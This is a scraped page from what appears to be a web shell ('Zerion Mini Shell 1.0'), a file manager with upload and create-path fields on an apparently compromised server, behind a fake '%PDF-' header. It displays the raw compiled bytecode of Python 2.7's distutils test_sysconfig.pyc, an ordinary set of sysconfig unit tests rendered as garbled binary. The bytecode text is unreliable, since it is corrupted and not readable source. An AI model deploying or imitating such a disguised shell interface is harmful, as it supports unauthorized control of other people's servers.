%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyc

ó
Pêáac@sîdZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZmZde
jejfd„ƒYZd	„Zed
krêejjeƒƒndS(sTests for distutils.sysconfig.iÿÿÿÿN(t	sysconfig(tget_default_compiler(tsupport(tTESTFNt	swap_itemtSysconfigTestCasecBsªeZd„Zd„Zd„Zd„Zd„Zd„Zej	e
ƒdkdƒd„ƒZd	„Zd
„Z
d„Zejejdƒd
ƒd„ƒZd„ZRS(cCs tt|ƒjƒd|_dS(N(tsuperRtsetUptNonetmakefile(tself((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyRscCsC|jdk	r"tj|jƒn|jƒtt|ƒjƒdS(N(R	Rtostunlinktcleanup_testfnRRttearDown(R
((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyRs
cCsTtjj}tjj|ƒr.tj|ƒn"tjj|ƒrPtj	|ƒndS(N(
ttestttest_supportRRtpathtisfiletremovetisdirtshutiltrmtree(R
R((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyR
s
cCsitjƒ}|jtjƒtjdtƒƒtdƒ}tjttƒ}|j|jdƒ|ƒdS(NtprefixRt
platstdlib(Rtget_python_libtassertNotEqualRt
__import__tTruetassertEqualtget_path(R
tlib_dirt
_sysconfigtres((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyttest_get_python_lib"scCs]tjƒ}|jtjj|ƒ|ƒtjj|dƒ}|jtjj|ƒ|ƒdS(NsPython.h(Rtget_python_inct
assertTrueRRRtjoinR(R
tinc_dirtpython_h((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyttest_get_python_inc-scCsÖddd„ƒY}idd6dd6dd6d	d
6dd6d
d6dd6dd6}|ƒ}ttjƒ}zHdtjd<x'|jƒD]\}}|tj|<q†Wtj|ƒWdtjjƒtjj|ƒX|S(NtcompilercBseZdZd„ZRS(tunixc[s
||_dS(N(texes(R
tkw((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pytset_executables;s(t__name__t
__module__t
compiler_typeR-(((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyR)8stsc_artARtsc_cctCCtsc_cxxtCXXs--sc-arflagstARFLAGSs--sc-cflagstCFLAGSs
--sc-ccsharedtCCSHAREDtsc_ldsharedtLDSHAREDtsc_shutil_suffixtSORtCUSTOMIZED_OSX_COMPILER((tdictRt_config_varstitemstcustomize_compilertcleartupdate(R
R)tsysconfig_varstcomptold_varstkeytvalue((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyRB6s(
	

R*s+not testing if default compiler is not unixcCs]tjƒdtjd<dtjd<dtjd<dtjd<d	tjd
<dtjd<d
tjd<dtjd<dtjd<|jƒ}|j|jddƒ|j|jddƒ|j|jddƒ|j|jddƒ|j|jddƒ|j|jddƒ|j|jddƒ|j|jdƒtjd=tjd=tjd=tjd=tjd
=tjd=tjd=tjd=tjd=|jƒ}|j|jdd ƒ|j|jdd!ƒ|j|jdd"ƒ|j|jdd#ƒ|j|jdd$ƒ|j|jdd%ƒ|j|jdd&ƒ|j|jdƒdS('Ntenv_arR2tenv_ccR4tenv_cpptCPPsenv_cxx --env-cxx-flagsR6tenv_ldsharedR;s
--env-ldflagstLDFLAGSs
--env-arflagsR7s--env-cflagsR8s--env-cppflagstCPPFLAGStarchiversenv_ar --env-arflagstpreprocessorsenv_cpp --env-cppflagsR)s.env_cc --sc-cflags --env-cflags --env-cppflagstcompiler_sos<env_cc --sc-cflags --env-cflags --env-cppflags --sc-ccsharedtcompiler_cxxt
linker_exet	linker_sos6env_ldshared --env-ldflags --env-cflags --env-cppflagsR<ssc_ar --sc-arflagsssc_cc -Essc_cc --sc-cflagsssc_cc --sc-cflags --sc-ccsharedR5R3R:(Rtget_config_varsRtenvironRBRR+tshared_lib_extension(R
RF((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyttest_customize_compilerXsf


















cCstjj|_t|jdƒ}z|jdƒ|jdƒWd|jƒXtj|jƒ}|j	|idd6dd6ƒdS(Ntws)CONFIG_ARGS=  '--arg1=optarg1' 'ENV=LIB'
sVAR=$OTHER
OTHER=foos'--arg1=optarg1' 'ENV=LIB'tCONFIG_ARGStfootOTHER(
RRRR	topentwritetcloseRtparse_makefileR(R
tfdtd((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyttest_parse_makefile_base–s
cCstjj|_t|jdƒ}z|jdƒ|jdƒWd|jƒXtj|jƒ}|j	|idd6dd6ƒdS(NR[s,CONFIG_ARGS=  '--arg1=optarg1' 'ENV=\$$LIB'
sVAR=$OTHER
OTHER=foos'--arg1=optarg1' 'ENV=\$LIB'R\R]R^(
RRRR	R_R`RaRRbR(R
RcRd((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyt"test_parse_makefile_literal_dollar¢s
cCsTddl}|j|jdƒtjdƒƒ|j|jdƒtjdƒƒdS(NiÿÿÿÿR8RO(RRtget_config_var(R
tglobal_sysconfig((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyttest_sysconfig_module¯s"R>scompiler flags customizedcCssddl}tjdƒr+|jdƒn|j|jdƒtjdƒƒ|j|jdƒtjdƒƒdS(NiÿÿÿÿR>scompiler flags customizedR;R4(RRgtskipTestR(R
Rh((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyttest_sysconfig_compiler_vars´s
"c	Cs”ttdƒ}|jtjdƒƒWdQXtjttj	ƒtgdtj
dtjdtƒ}|j
ƒ\}}|jd|jd|ƒdS(NR[sB                from distutils.core import Distribution
                config = Distribution().get_command_obj('config')
                # try_compile may pass or it may fail if no compiler
                # is found but it should not raise an exception.
                rc = config.try_compile('int x;')
                tstdouttstderrtuniversal_newlinesisSubprocess failed: (R_Rt
writelinesttextwraptdedentt
subprocesstPopentstrtsyst
executabletPIPEtSTDOUTRtcommunicateRt
returncode(R
tftptoutsterrs((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyt.test_customize_compiler_before_get_config_varsÊs			(R.R/RRR
R"R(RBtunittestt
skipUnlessRRZReRfRitskipIfRRgRkR(((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyRs							"=		
	$cCs&tjƒ}|jtjtƒƒ|S(N(R€t	TestSuitetaddTestt	makeSuiteR(tsuite((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyt
test_suiteÞst__main__(t__doc__RRR€RRrRuRpt	distutilsRtdistutils.ccompilerRtdistutils.testsRttest.test_supportRRtEnvironGuardtTestCaseRR‡R.Rtrun_unittest(((s:/usr/local/lib/python2.7/distutils/tests/test_sysconfig.pyt<module>s 	Î	

Zerion Mini Shell 1.0